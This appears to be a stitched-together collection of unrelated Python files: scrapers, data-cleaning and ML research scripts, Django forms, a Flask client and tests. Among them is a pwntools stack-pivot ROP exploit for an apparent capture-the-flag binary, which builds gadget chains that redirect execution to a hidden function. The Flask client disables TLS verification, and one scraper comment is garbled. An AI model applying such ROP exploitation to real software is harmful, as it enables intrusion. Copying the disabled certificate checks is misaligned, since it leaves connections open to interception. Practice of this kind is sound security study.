#update aaron 2
import threading
import time
import requests
from bs4 import BeautifulSoup
import re
exitFlag = 0

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):
        print ("开始线程：" + self.name)
        print_time(self.name, 1800, 5)
        print ("退出线程：" + self.name)

def print_time(threadName, delay, counter):
    while counter:
        if exitFlag:
            threadName.exit()
        print ("%s: %s" % (threadName, time.ctime(time.time())))
        try:
          geturldate()
        except:
          print("get data failed,please check networking connect!")
        time.sleep(delay)
        #counter -= 1

def geturldate():
    url = 'http://news.sina.com.cn/china/'
    res = requests.get(url)
    # 使用UTF-8编码
    res.encoding = 'UTF-8'

    # 使用剖析器为html.parseegrep -c '(svm|vmx)' /proc/cpuinfor
    soup = BeautifulSoup(res.text, 'html.parser')

    # 遍历每一个class=news-1的节点
    for news in soup.select('.news-2'):
        # print(news)
        for allli in news.select('li'):
            # print("liall=",allli)
            # print("len=",len(allli))
            li = str(allli)
            # print("li=",li.lstrip())
            n = re.findall(r"href=\"(.+?)\"", li)
            # print ("n=",n[0])
            urlstr = re.findall(r"\"_blank\">(.+?)<", li)
            print(n[0], urlstr[0])

# 创建新线程
thread1 = myThread(1, "Thread-1", 1)
#thread2 = myThread(2, "Thread-2", 2)

# 开启新线程
thread1.start()
#thread2.start()
thread1.join()
#thread2.join()
print ("退出主线程")


#!/usr/bin/env python3

from pwn import *

pwn = process("./pivot")
#gdb.attach(pwn, '''
#break main
#''')

#------------------- TOYS ------------------------#
junk = b'A' * 40

pop_rax = p64(0x0000000000400b00) # pop rax; ret;
xchg_rax_rsp = p64(0x0000000000400b02) # xchg rax, rsp; ret;
offset = p64(0x14e) # 0x00100abe ret2win - 0x00100970 foothold
foothold = p64(0x00400850)
foothold_got_plt = p64(0x00602048)
mov_rax = p64(0x0000000000400b05) # mov rax, qword ptr [rax]; ret;
pop_rbp = p64(0x0000000000400900) # add rax, rbp; ret;
add_rax_rbp = p64(0x0000000000400b09) # add eax, ebp; ret;
call_rax = p64(0x000000000040098e) # call rax;
#------------------- TOYS ------------------------#

pwn.recvuntil(b'pivot: ')
pivot_addr = pwn.recvline().decode().replace("0x","")
pivot_addr = int(pivot_addr,16)
pivot_addr = p64(pivot_addr)

#-----SECOND ROP CHAIN-----#
pivot = foothold
pivot += pop_rax
pivot += foothold_got_plt # now holds the real address of the function
pivot += mov_rax # move the value held there into rax, address of function
pivot += pop_rbp
pivot += offset # offset now in rbp
pivot += add_rax_rbp # rax now holds ret2win address
pivot += call_rax
#--------------------------#

#-----FIRST ROP CHAIN-----#
buf = junk
buf += pop_rax
buf += pivot_addr
buf += xchg_rax_rsp
#------------------------_#

pwn.sendline(pivot)
pwn.sendline(buf)
pwn.interactive()


# UploadErrorLogs
# This Function is the main uploader function that the cron job run. It can dates as system arguments (sys.argv)
# The first sys.argv is the function called the 2nd and 3rd are the start and end dates respectively
# If sys.argv is just the function then it runs for yesterday
import get_errored_apps_EE2
import time
import sys
import datetime
print("############################################")
print("App Stats Upload (UTC): " + str(datetime.datetime.utcnow()))
start_time = time.time()

if len(sys.argv) == 3:
    start_date = sys.argv[1]
    end_date = sys.argv[2]

    try:
        datetime.datetime.strptime(start_date, '%m-%d-%Y')
    except ValueError:
        raise ValueError("Incorrect start data format, should be MM-DD-YYYY")

    try:
        datetime.datetime.strptime(end_date, '%m-%d-%Y')
    except ValueError:
        raise ValueError("Incorrect end data format, should be MM-DD-YYYY")

    get_errored_apps_EE2.get_errored_apps(start_date, end_date)
    print("Uploading error logs to logstash stats took ",
          time.time() - start_time, " seconds to run")

elif len(sys.argv) == 1:
    get_errored_apps_EE2.get_errored_apps()
    print("Uploading error logs to logstash stats took ",
          time.time() - start_time, " seconds to run")

else:
    print("Invalid number of arguments given")


# -*- coding: utf-8 -*-

from aplication.news_feed.models import NewsFeedModels

from datetime import datetime, timedelta

import logging
logger = logging.getLogger(__name__)

def run(*args):

    now = datetime.now()
    last_month = now - timedelta(days=30)

    logger.info(
        'Removendo Noticias ate %s' % (last_month.strftime('%d/%m/%Y'))
    )
    old_news = NewsFeedModels.objects.filter(created__lte=last_month)
    count_itens = old_news.count()
    for news in old_news:
        news.delete()

    logger.info('Foram Removidas %s itens' % (count_itens))


from typing import Dict, List, Optional, Tuple

# Pure.
ResourceAlias = str
Selector = str
PermissionInt = int
UserKey = str
JWT = bytes

# Derived.
SelectorPermissionMap = Dict[Selector, PermissionInt]
PolicyContext = Dict[ResourceAlias, SelectorPermissionMap]
Scope = List[Selector]
AuthResponse = Tuple[Scope, UserKey]
Payload = Dict


'''
* This file is the main file to start the program
** author: Junjie Zhang
'''
import numpy as np
import matplotlib.pyplot as plt
import sys
import getopt
from sklearn.manifold import LocallyLinearEmbedding
from sklearn.decomposition import PCA
from mpl_toolkits.mplot3d import Axes3D
from data import *
from lle import *

def printHelp():
    print('Usage: python main.py -n <num of the sample> -s <shape of the manifold> -k <num of neighbors to be used>')
    print('<shape of the mainfold>: sr for swiss roll, s for S shape, b for bowl shape')
    return

def main(argv):
    # handle argument
    numSample = 500
    shape = 'sr'
    kNeibors = 30
    try:
        opts, args = getopt.getopt(
            argv, "hn:s:k:", ['help', 'numSample=', 'shape=', 'numNeighbo='])
    except getopt.GetoptError:
        printHelp()
        sys.exit(2)
    for opt, arg in opts:
        if opt in ('-h', '--help'):
            printHelp()
            sys.exit()
        elif opt in ('-n', '--numSample'):
            numSample = int(arg)
        elif opt in ('-s', '--shape'):
            if arg in ('sr', 's', 'b'):
                shape = arg
            else:
                print(
                    '<shape of the mainfold>: sr for swiss roll, s for S shape, b for bowl shape')
                sys.exit(2)
        elif opt == 'k':
            kNeibors = int(arg)

    # genereate data
    if (shape == 'sr'):
        X, color = swissRoll(0, 1.5, numSample, noise=0.1)
    elif (shape == 's'):
        X, color = sShape(0, 1, numSample, noise=0.1)
    elif (shape == 'b'):
        X, color = ball(0.3, 1, numSample, noise=0.01)

    # set up solver
    lleSolver = LLE(X, 2, kNeibors)
    lowX1 = lleSolver.transform()

    # solve my sklern
    lowX2 = LocallyLinearEmbedding(
        n_components=2, n_neighbors=kNeibors).fit_transform(X)

    # solve by PCA
    pca = PCA(n_components=2)
    pca.fit(X)
    lowX3 = pca.fit_transform(X)

    X = X.T
    # plot of original data
    fig1 = plt.figure(1)
    ax3D = Axes3D(fig1)
    ax3D.scatter(X[0], X[1], X[2], c=color)

    plt.figure(2, figsize=(8, 5))
    # plot of my solver
    plt.subplot(131)
    plt.title("Result of my LLE")
    plt.scatter(lowX1[:, 0], lowX1[:, 1], c=color)

    # plot of sklearn solver
    plt.subplot(132)
    plt.title("Result of sklearn's LLE")
    plt.scatter(lowX2[:, 0], lowX2[:, 1], c=color)

    # plot of sklearn PCA solver
    plt.subplot(133)
    plt.title("Result of sklearn's PCA")
    plt.scatter(lowX3[:, 0], lowX3[:, 1], c=color)

    plt.show()

if __name__ == '__main__':
    main(sys.argv[1:])


from common.server.http.http_code import HttpCode
from flask import Blueprint, make_response
# import json
import requests
# import urllib.request

so_api_bp = Blueprint("so_api", __name__)

class APIClient(object):
    def __init__(self):
        self.headers = {
                "Accept": "application/json",
                "Content-Type": "application/json"
                }

    def __func_template__(self, method_type, method_ep, **method_params):
        response = ""
        if method_type == "get":
            response = requests.get(method_ep)
        elif method_type == "post":
            response = requests.post(
                    method_ep, headers=self.headers,
                    json=method_params, verify=False)
        elif method_type == "put":
            response = requests.put(
                    method_ep, headers=self.headers,
                    json=method_params, verify=False)
        elif method_type == "delete":
            response = requests.delete(
                    method_ep, headers=self.headers,
                    verify=False)
        response_data = ""
        try:
            response_data = response.json()
        except Exception:
            try:
                response_data = response.text()
            except Exception:
                pass
        response_status = HttpCode.INTERNAL_ERROR
        try:
            response_status = response.status_code
        except Exception:
            pass
        return make_response(response_data, response_status)

# Option A
# req = urllib.request.Request("http://127.0.0.1:50101/openapi.json")
# api_spec_content = ""
# with urllib.request.urlopen(req) as response:
#     api_spec_content = response.read()
# api_spec_content = api_spec_content.decode("ascii")
# api_spec_content = json.loads(api_spec_content)
# Option B
api_spec_content = {'openapi': '3.0.2', 'info': {'title': 'SCO/SO API', 'description': 'API endpoints for SCO/SO', 'contact': {'name': 'Carolina Fernandez', 'email': 'carolina.fernandez@i2cat.net'}, 'version': '0.0.1'}, 'paths': {'/mon/infra': {'get': {'summary': 'Infra List', 'operationId': 'infra_list_mon_infra_get', 'responses': {'200': {'description': 'Successful Response', 'content': {'application/json': {'schema': {}}}}}}}, '/': {'get': {'summary': 'Root', 'operationId': 'root__get', 'responses': {'200': {'description': 'Successful Response', 'content': {'application/json': {'schema': {}}}}}}}}}

# Code to parse the received OpenAPI spec
# and create clients on-the-fly to be able
# to expose similar endpoints to the user
# (in this side, the API) and to call the
# endpoints indicated in the spec (in the
# other side, each module in SCO/SO)
ep_base = "http://127.0.0.1:50101"
for endpoint, ep_details in api_spec_content.get("paths").items():
    # print("name={}".format(endpoint))
    api_x_client = APIClient()
    for ep_method_type, ep_meth_det in ep_details.items():
        # print(" - method_type={}".format(ep_method_type))
        ep_meth_name = ep_meth_det.get("operationId")
        # print(" - method_name={}".format(ep_meth_name))
        f_x = api_x_client.__func_template__("{}{}".format(
            ep_base, ep_method_type), endpoint)
        # NB: both fail w.r.t. using requests outside the app context
        # # Option A
        setattr(api_x_client, "func_{}".format(ep_meth_name), f_x)
        # # Option B
        so_api_bp.add_url_rule(endpoint, "{}".format(ep_meth_name), f_x)


import os
import tempfile

from google.cloud import storage, vision
from wand.image import Image

storage_client = storage.Client()
client = vision.ImageAnnotatorClient()

def main(event, context):
    print("Evento-contexto", context)

    #client = vision.ImageAnnotatorClient()

    image_to_open = 'cara.jpg'

    with open(image_to_open, 'rb') as image_file:
        content = image_file.read()

    image = vision.Image(content=content)

    face_response = client.face_detection(image=image)

    #face_data = []

    for face_detection in face_response.face_annotations:
        d={
            'confidence': face_detection.detection_confidence,
            'joy': face_detection.joy_likelihood
        }
        print(d)


"""
This file implements a second order SVM that classifies between safe points and unsafe points

The connection between samples and CBF
"""

import numpy as np
from sklearn.svm import SVC
from glob import glob
import pickle as pkl
from scipy.optimize import minimize
import os
from problemSetting import *
import json
from util.visulization import drawEclips

def recoverSecondOrderFunc(f,dim = 4):
    # retrive x^T A x + b^T x + c = decision_func
    c = f(np.zeros(dim))
    b = np.zeros(dim)
    A = np.zeros((dim,dim))
    for i in range(dim):
        t1,t2 = np.zeros(dim),np.zeros(dim)
        t1[i] = 1
        t2[i] = -1
        b[i] = (f(t1)-f(t2))/2
        A[i,i] = (f(t1)+f(t2))/2 - c
    for i in range(dim):
        for j in range(i):
            t = np.zeros(dim)
            t[i] = t[j] = 1
            A[i,j] = A[j,i] = (f(t) - t.T @ A @ t - b @ t - c)/2
    return A,b,c

def SVM_factors(X,y,dim = 4):
    clf = SVC(kernel = "poly", degree=2, gamma=99999 )
    clf.fit(X, y)
    A,b,c = recoverSecondOrderFunc(lambda x : clf.decision_function(x.reshape((1,-1))),dim = dim)
    print("Function parameter \n",A,b,c)
    return A,b,c

# Add more constraints to the fitting problem

class kernel:
    """
        a map to some higher dim space. E.g (x,y) -> (x^2,y^2,x,y)
    """
    @staticmethod
    def augment(x):
        """
            input is either 1dim dataponit, or a matrix where each row is a datapoint
            return the augmented matrix, where each row is the feature of a datapoint
        """
        x = np.array(x)
        if(x.ndim==1):
            x  = x.reshape((1,-1))
        x = x.T
        return np.concatenate([[a*b for i,a in enumerate(x) for b in x[i:] ],x,np.ones((1,x.shape[1]))],axis = 0).T

    @staticmethod
    def jac(x):
        """
            input is 1dim dataponit
            return the jacobian of this datapoint
        """
        x = np.array(x)
        return np.concatenate([ [ [(a if k==j+i else 0) + (b if k==i else 0)  for k in range(len(x))]
                                for i,a in enumerate(x) for j,b in enumerate(x[i:]) ] ,np.eye(len(x)),np.zeros((1,len(x)))],axis=0)

    @staticmethod
    def GetParam(w,dim=4):
        """
            input the trained w
            Return the A, b, c of x^TAx + b^T x + c
        """
        print("w:",w)
        A = np.array([[w[min(i,j)*dim - int(min(i,j)*(min(i,j)-1)/2) - min(i,j) + max(i,j)]/(1 if(i==j)else 2)  for j in range(dim)] for i in range(dim)])
        b = w[-dim-1:-1]
        c = w[-1]
        return A,b,c

def fitCBF(X, y, X_c,dim = 4, x0 = None):
    """
        X: tested datapoints
        y: 1 or -1; 1 means in CBF's upper level set
        X_c: The datapoints that needs to ensure exits u s.t. dB(x,u) > 0

        cast it into an optimization problem, where
        min_{w,b,u}  ||w||+||u||
        s.t.    y_i(x_i^T w + b) > 1 //SVM condition
                y_i(dB(x_i,u)+ mc B(x_i)) > 0 for y_i > 0  //CBF defination
                u_min < u < u_max
    """

    print("START")
    def obj(w):
        return sqeuclidean(w[:-1])
    def grad(w):
        ans = 2*w
        ans[-1] = 0
        return ans.reshape((1,-1))

    X_aug = kernel.augment(X)
    y = np.array(y).reshape((-1))

    def SVMcons(w):
        return y * (X_aug @ w) - 1
    def SVMjac(w):
        # print(w)
        return y.reshape((-1,1))*X_aug

    # X_c_aug = kernel.augment(X_c) if len(X_c) else []

    def completeCons(w):
        # the points at the boundary of the CBF needs to have a solution that dB > 0
        return np.array([1]+[w.T @ kernel.jac(x) @ Dyn_A @ x  +
                    MAX_INPUT * np.linalg.norm(Dyn_B.T @ kernel.jac(x).T @ w, ord = 1) for x in X_c])

    options = {"maxiter" : 500, "disp"    : True}
    lenx0 = int((dim+1)*dim/2 + dim + 1)
    x0 = np.random.random(lenx0) if x0 is None else x0

    constraints = [{'type':'ineq','fun':SVMcons, "jac":SVMjac},
                   {'type':'ineq','fun':completeCons}]

    bounds = np.ones((lenx0,2)) * np.array([[-1,1]]) * 100
    bounds[-5:-1,:] *=0

    res = minimize(obj, x0, options = options,jac=grad, bounds=bounds,
                constraints=constraints, method =  'SLSQP') # 'trust-constr' , "SLSQP"

    # print("SVM Constraint:\n", SVMcons(res.x[:len(x0)]))
    return (*kernel.GetParam(res.x), res.x)

def fitCompleteCBF(X,y,dim = 20):
    """
        call the `fitCBF` iteratively, each step augment the dataset with some data points
            that makes the optimization of u hard
    """
    x0 = None
    X_c = []
    for i in range(10):
        A,b,c, x0 = fitCBF(X,y,X_c,dim,x0)

        def obj(x):
            return x.T @ (Dyn_A .T @ A + A @ Dyn_A) @ x + 2 * MAX_INPUT * np.linalg.norm(Dyn_B.T @ A @ x,ord = 1)

        def cons(x):
            return x.T @ A @ x - c

        constraints = {'type':'eq','fun': cons, "jac":jacobian(cons)}

        bounds = np.ones((4,2)) * np.array([[-1,1]]) * 3

        X_c = [ minimize(obj, np.random.random(4) * 3, bounds = bounds, #jac=jac,
                        constraints=constraints, method =  'SLSQP').x for i in range(1) ]
        print([obj(x) for x in X_c])
        # print(X_c)
    return A,b,c

    # def CBFCons(state,w,u):
    #     """
    #         the CBF condition, at the state
    #         dB(x,u) + mc B(x) > 0
    #     """
    #     mc = 1
    #     # print(w.shape,kernel.augment(state).shape)
    #     B = kernel.augment(state) @ w
    #     # print(kernel.jac(state).shape)
    #     # print((w.T @ kernel.jac(state)).shape)
    #     # print(Dyn_A @ state)
    #     # print(Dyn_B @ u)
    #     # print( (Dyn_A @ state.reshape((-1,1)) + Dyn_B @ u.reshape(-1,1)).shape)
    #     dB = w.T @ kernel.jac(state) @ (Dyn_A @ state + Dyn_B @ u)
    #     return dB + mc * B

    # def CBFjac(state,w,u):
    #     mc = 1
    #     return (kernel.augment(state) + mc * kernel.jac(state) @ (Dyn_A @ state + Dyn_B @ u), # jac of w
    #             (mc *  (w.T @ kernel.jac(state) @ Dyn_B ).T).reshape(1,-1) ) # jac of u

def dumpJson(A,b,c,fileName = "data/tmp/Abc.json"):
    json.dump({"A":A.tolist(),"b":b.tolist(),"c":c},open(fileName,"w"))

if __name__ == "__main__":
    #### TEST recoverSecondOrderFunc
    # X = np.array([[-1, -1], [0, 0], [1, 1]])
    # y = np.array([1, 2, 1])
    # X = np.random.random((4,4))
    # y = np.array([1,1,2,2])

    # def test(p):
    #     p = np.array(p)
    #     print(clf.decision_function(p.reshape(1,-1)), func(p))

    # for i in range(10):
    #     test(np.random.random(4))

##### PLOT STYLE

    import matplotlib.pyplot as plt
    import numpy as np
    import sys
    import matplotlib
    import seaborn as sns
    import matplotlib.gridspec as gspec

    matplotlib.rcParams['text.usetex'] = True
    # matplotlib.rc('font',family='serif', serif=['Palatino'])
    matplotlib.rc('font',family='times', serif=['Palatino'])
    plt.rcParams['font.serif'] = ['Times New Roman'] + plt.rcParams['font.serif']

    sns.set_style('white')
    # plt.rcParams['figure.figsize'] = [10, 8]
    def set_style():
        sns.set(font='serif', font_scale=1.4)

    # Make the background white, and specify the
        # specific font family
        sns.set_style("white", {
            "font.family": "serif",
            "font.weight": "normal",
            "font.serif": ["Times", "Palatino", "serif"],
            'axes.facecolor': 'white',
            'lines.markeredgewidth': 1})

        plt.rcParams.update({'font.size': 21})
        plt.rc('axes', titlesize=25)     # fontsize of the axes title
        plt.rc('axes', labelsize=23)

    legendParam = {"frameon":True,"framealpha" : 1,"edgecolor":"0","fontsize":23}

    set_style()

#####

    # ### Begin Comment
    # loaddir = "./data/tmp"
    loaddir = "./data/exp1"
    X = []
    y = []
    for f in glob(os.path.join(loaddir,"*.pkl")):
        print(f)
        data = pkl.load(open(f,"rb"))
        X += [s['testPoint'] for s in data]
        y += [ 1 if (s['fvalue']<0) else -1 for s in data]
        # y += [ 1 if (s['fvalue']>0) else -1 for s in data]
    augmentData = [[np.cos(th),np.sin(th),3*np.cos(th),np.sin(th)] for th in np.arange(0,2*3.14,20)]
    X += augmentData
    y += [-1] * len(augmentData)
    # A,b,c = SVM_factors(np.array(X),y)
    # A,b,c = fitCompleteCBF(X,y)
    # A,b,c = kernel.GetParam(w,dim=4)
    param = json.load(open("data/exp1/svm_complete.json","r"))
    A,b,c = np.array(param["A"]),np.array(param["b"]),np.array(param["c"])
    c = float(c)
    print(A,b,c)
    # dumpJson(A,b,c,"data/exp1/svm_complete.json")
    # dumpJson(A,b,c,"data/exp1/svm_def_aug.json")
    # dumpJson(A,b,c,"data/tmp/svm_def.json")

    def func(p):
        p = np.array(p)
        return (p.T @ A @ p + b.T @ p + c)

    # # viz
    import matplotlib.pyplot as plt
    posX = np.array([x for x,y in zip(X,y) if y ==1])
    assert(all([func(x) > -1e-9 for x in posX]))
    # print(posX)
    negX = np.array([x for x,y in zip(X,y) if y ==-1])
    assert(all([func(x) < 1e-9 for x in negX]))
    plt.figure(figsize=(8,8))
    plt.plot(posX[:,0],posX[:,1], ".", c = "g", alpha = 1, label = "positive points")
    plt.plot(negX[:,0],negX[:,1], ".", c = "r", alpha = 1, label = "negative points")

    drawEclips(A,b,c)
    plt.legend(**legendParam)
    plt.xlabel("$p_x$")
    plt.ylabel("$p_y$")
    plt.savefig("toyFit.png",bbox_inches = 'tight', pad_inches = 0)
    plt.show()

    # print(kernel.augment([[1,2,3],
    #                       [2,4,1]]))

    # print(kernel.jac([1,2,3]))


import argparse, pyramda, logging, sys, os
from dotenv import load_dotenv, find_dotenv
from app import actions

load_dotenv(find_dotenv())
logging.basicConfig( level=getattr(logging, os.environ.get( 'LOG_LEVEL' ) or 'DEBUG' ) )

def run( ):
    parser = argparse.ArgumentParser()

    parser.add_argument( 'action', type = str )
    parser.add_argument( 'resource', type = str )

    args = parser.parse_args( )

    getattr(actions, "%s_%s" % ( args.action, args.resource ) )( )

run()

# with open('db/json/favorite_playlists.json', 'r') as favorite_playlists_json:
#     playlists = json.loads(favorite_playlists_json.read())
#     # for playlist in playlists:
#     print playlists[0]['playlist']['permalink_url']


"""
Unit and regression test for the tica module.
"""

# Import package, test suite, and other packages as needed
import pytest
import torch
import numpy as np
import pandas as pd
from mlcvs.utils.io import load_dataframe
from mlcvs.tica import TICA_CV

# set global variables
torch.set_default_tensor_type(torch.DoubleTensor)
torch.set_printoptions(precision=8)

def test_tica_train_2d_model():
    """Perform TICA on 2d_model data folder."""

    # Load dataset
    data = load_dataframe("mlcvs/tests/data/2d_model/COLVAR_md", stride=50)

    X = data.filter(regex='p.')

    # Define model
    n_features = X.shape[1]
    tica = TICA_CV(n_features)

    # Fit TICA
    tica.fit(data, lag=10)

    # Project
    y_test = tica(X.iloc[0])

    # assert
    print(X.iloc[0])
    print(y_test)
    y_test_expected = torch.tensor(
                        [-0.83703607,  0.90135466]
                      )

    assert torch.abs(y_test_expected - y_test).sum() < 1e-6


import pickle
"""实际调用predict只需要用到pickle
   使用 y = predict(x) 进行神经网络预测;
   如果需要test 需要包含下面几个库"""
import pandas as pd
from sklearn.metrics import mean_absolute_error
from sklearn.model_selection import train_test_split
from pyecharts import options as opts
from pyecharts.charts import Line
import numpy as np

def predict(X_test,weights=[0.43,0.57],file_path='ensemble_ml.pkl'):
    """
        ['RANSACRegressor+RandomForestRegressor', 0.08121470017053545]
        ['RANSACRegressor', 'RandomForestRegressor']
        RANSACRegressor  score: 0.2120331572321849
        RandomForestRegressor  score: 0.14285714285714285
        根据 score视情况设置合适的权重weights
        weights=[0.43,0.57]
        test [y1]:   0.07817797547999396
        train [y1]:   0.1510962099583446
    """
    models = pickle.load(open(file_path,'rb')) # {names:model}
    y_predict = 0
    y_predict_detail = []
    for i, model in enumerate(models.values()):
        y_predict_temp = model.predict(X_test)
        y_predict += weights[i] * y_predict_temp
        y_predict_detail.append(y_predict_temp)

    return y_predict,y_predict_detail

def test_withPlot(file_path='./html/line.html'):
    data = pd.read_csv('../tiqu.csv')
    Y = data[['y1']].values
    X = data[['Num', 'x2', 'x4', 'temp']].values
    x_train, x_test, Y_train, Y_test = train_test_split(X, Y,\
                                                        test_size=0.2, random_state=44)
    y_predict_test,y_predicts =  predict(x_test)
    error = mean_absolute_error(y_predict_test,Y_test)
    print("test [y1]:  ", error)
    # test [y1]:
    y_predict_train,_ = predict(x_train)
    error = mean_absolute_error(y_predict_train, Y_train)
    print("train [y1]:  ", error)
    # train [y1]:
    line = Line()

    line.add_xaxis(range(1, len(Y_test) + 1))
    line.add_yaxis('samples', Y_test.reshape(-1, ),\
                   label_opts=opts.LabelOpts(is_show=False))
    line.add_yaxis('weighted_predict', y_predict_test,\
                   label_opts=opts.LabelOpts(is_show=False))
    line.add_yaxis('RANSACRegressor', y_predicts[0],\
                   label_opts=opts.LabelOpts(is_show=False))
    line.add_yaxis('RandomForestRegressor', y_predicts[1],\
                   label_opts=opts.LabelOpts(is_show=False))
    line.set_global_opts(title_opts=opts.TitleOpts(title="ensemble test"))
    line.render(file_path)

def test_y2(file_path='./html/line_y2.html'):
    data = pd.read_csv('../tiqu.csv')
    Y = data[['y2']].values
    X = data[['Num', 'x2', 'x4', 'temp']].values
    x_train, x_test, Y_train, Y_test = train_test_split(X, Y,\
                                                        test_size=0.2, random_state=44)

    weights = [ 0.2,0.2,0.2,0.2,0.2]
    y_predict_test,y_predicts =  predict(x_test,weights,file_path='ensemble_ml_y2.pkl')
    error = mean_absolute_error(y_predict_test,Y_test)
    print("test [y2]:  ", error)

    y_predict_train,_  = predict(x_train,weights,file_path='ensemble_ml_y2.pkl')
    error = mean_absolute_error(y_predict_train, Y_train)
    print("train [y2]:  ", error)
    # train [y1]:
    line = Line()

    line.add_xaxis(range(1, len(Y_test) + 1))
    line.add_yaxis('samples', Y_test.reshape(-1, ),\
                   label_opts=opts.LabelOpts(is_show=False))
    line.add_yaxis('weighted_predict', y_predict_test,\
                   label_opts=opts.LabelOpts(is_show=False))
    line.add_yaxis('RANSACRegressor', y_predicts[0],\
                   label_opts=opts.LabelOpts(is_show=False))
    line.add_yaxis('RandomForestRegressor', y_predicts[1],\
                   label_opts=opts.LabelOpts(is_show=False))
    line.set_global_opts(title_opts=opts.TitleOpts(title="ensemble test"))
    line.render(file_path)

def Gen_FakeData():
    data = pd.read_csv('./Gendata.csv')
    X = data[['Num', 'x2', 'x4', 'temp']].values

    # y1 with noise
    y1_predict , _ =  predict(X)
    y1_fake = y1_predict + 0.1*np.random.randn(len(X),1)
    # y2 with noise
    weights = [ 0.2,0.2,0.2,0.2,0.2]
    y2_predict , _ =  predict(X,weights,file_path='ensemble_ml_y2.pkl')
    y2_fake = y2_predict + 0.3*np.random.randn(len(X),1)

    data['y1'] = y1_fake[0]
    data['y2'] = y2_fake[0]
    data.to_csv("./Fake_gen.csv")

if __name__=="__main__":
    Gen_FakeData()


import json
import yaml
import datetime

def filter_merge_img_json(txt_paths: list, json_paths: list, save_path: str, full: bool=False):
    """
    Create new json file (coco_true format) with image_paths from correspondence txt file
    Input:
        txt_paths: list of txt path
        json_path: list of json path
        save path: path to save output json file
        full: if full is True, merge full json files, not get paths from txt_paths
    """

    print(f'Number txt paths: {len(txt_paths)}', '\n', f'Number json paths: {len(json_paths)}')
    assert len(txt_paths) == len(json_paths)

    write_json_context = dict()
    write_json_context['info'] = {
        'description': '', 'url': '', 'version': '', 'year': 2021,
        'contributor': '', 'date_created': f'{datetime.datetime.now()}'
    }
    write_json_context['licenses'] = [{'id': 1, 'name': None, 'url': None}]
    write_json_context['categories'] = [
        {'id': 0,'name': 'face','supercategory': 'face'},
        {'id': 1,'name': 'plate','supercategory': 'plate'}
    ]
    write_json_context['images'] = []
    write_json_context['annotations'] = []
    start_img_id = 0
    # debug
    num_imgs = 0
    num_bboxes = 0

    for txt_p, js_p in zip(txt_paths, json_paths):
        with open(txt_p) as txt_file:
            img_path_list = txt_file.read().strip().split('\n')

        with open(js_p) as json_file:
            image_data = json.load(json_file)

        old_img_ids = []
        new_img_ids = []
        for img in image_data['images']:
#             if img['file_name'] in img_path_list:
            if not full and img['file_name'] not in img_path_list:
                continue
            old_img_ids.append(img['id'])
            img['id'] = start_img_id + 1
            new_img_ids.append(img['id'])
            write_json_context['images'].append(img)
            start_img_id += 1
            num_imgs += 1

        for anno in image_data['annotations']:
#             if anno['image_id'] in old_img_ids:
            if not full and anno['image_id'] not in old_img_ids:
                continue
            anno['image_id'] = new_img_ids[old_img_ids.index(anno['image_id'])]
            write_json_context['annotations'].append(anno)
            num_bboxes += 1

    with open(save_path, 'w') as write_f:
        json.dump(write_json_context, write_f, indent=4)

    print('num_imgs:', num_imgs)
    print('num_bboxes', num_bboxes)

if __name__ == "__main__":

    with open("utils/configs/merge_json.yaml", 'r') as stream:
        try:
            config_dict = yaml.safe_load(stream)
        except yaml.YAMLError as exc:
            print(exc)

    filter_merge_img_json(
        config_dict['txt_paths'],
        config_dict['json_paths'],
        config_dict['save_path'],
        config_dict['full']
    )


from django import forms
from . import models

class CreateArticle(forms.ModelForm):
    class Meta:
        model = models.Article
        fields = ['title','body','slug','thumb','publish']

class AddComment(forms.ModelForm):
    def __init__( self, *args, **kwargs ):
        super(AddComment, self).__init__( *args, **kwargs )
        self.fields['body'].label = ''

    class Meta:
        model = models.Comment
        fields = ['body']


import pandas as pd
import numpy as np
import matplotlib.pyplot as plt

#pd.set_option('display.expand_frame_repr', False)
#pd.set_option('display.max_rows', None)
#I am using python 3.9 IDLE so these are needed to show all columns and rows instead of only 5

# 2) Read the dataset located here 'https://archive.ics.uci.edu/ml/machine-learning-databases/breast-cancer-wisconsin/breast-cancer-wisconsin.data'
data = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/breast-cancer-wisconsin/breast-cancer-wisconsin.data', header=None)

# 3) Assign new headers to the DataFrame
data.columns = ['Sample code number', 'Clump Thickness', 'Uniformity of Cell Size', 'Uniformity of Cell Shape',
                'Marginal Adhesion', 'Single Epithelial Cell Size', 'Bare Nuclei', 'Bland Chromatin',
                'Normal Nucleoli', 'Mitoses','Class']

# 4) Drop the 'Sample code number' attribute
data = data.drop(['Sample code number'],axis=1)

### Missing Values ###

# 5)Convert the '?' to NaN
data = data.replace('?', np.nan)

# 6) Count the number of missing values in each attribute of the data.
print('Number of missing values:')
for col in data.columns:
    print('\t%s: %d' % (col,data[col].isna().sum()))

# 7) Discard the data points that contain missing values
data = data.dropna()

### Outliers ###

# 8)Draw a boxplot to identify the columns in the table that contain outliers

data['Bare Nuclei'] = data['Bare Nuclei'].astype(str).astype(int)
#need to convert Bare Nuclei column to int in order to draw the boxplot
plot1 = plt.figure(1)
data.boxplot(column = ['Clump Thickness', 'Uniformity of Cell Size', 'Uniformity of Cell Shape',
                'Marginal Adhesion', 'Single Epithelial Cell Size', 'Bare Nuclei', 'Bland Chromatin',
               'Normal Nucleoli', 'Mitoses','Class'])

#The attributes with outliers are: 'Marginal Adhesion', 'Single Epithelial Cell Size', 'Bland Chromatin',
#'Normal Nucleoli', 'Mitoses'

### Duplicate Data ###

# 9) Check for duplicate instances.
dups = data.duplicated()
print('Number of duplicate rows = %d' % (dups.sum()))

# 10) Drop row duplicates
print('Number of rows before discarding duplicates = %d' % (data.shape[0]))
data = data.drop_duplicates()
print('Number of rows after discarding duplicates = %d' % (data.shape[0]))

### Discretization ###

# 11) Plot a 10-bin histogram of the attribute values 'Clump Thickness' distribution
plot2 = plt.figure(2)
data['Clump Thickness'].hist(bins=10)
plt.show()

# 12)Discretize the Clump Thickness' attribute into 4 bins of equal width.
data['Clump Thickness'] = pd.cut(data['Clump Thickness'], 4)
data['Clump Thickness'].value_counts(sort=False)

#print(data['Clump Thickness'].value_counts(sort=False))
#Range of Values and number of records of each category:
#(0.991, 3.25]    131
#(3.25, 5.5]      140
#(5.5, 7.75]       52
#(7.75, 10.0]     126

### Sampling ###
# 13) Randomly select 1% of the data without replacement. The random_state argument of the function specifies the seed value of the random number generator.
sample = data.sample(frac=0.01, replace=False, random_state=1)
sample
#print(sample)


import pandas as pd
import spacy
from spacy.lang.en.stop_words import STOP_WORDS
from string import punctuation
from textblob import TextBlob

from audio.functions import handle_uploaded_file
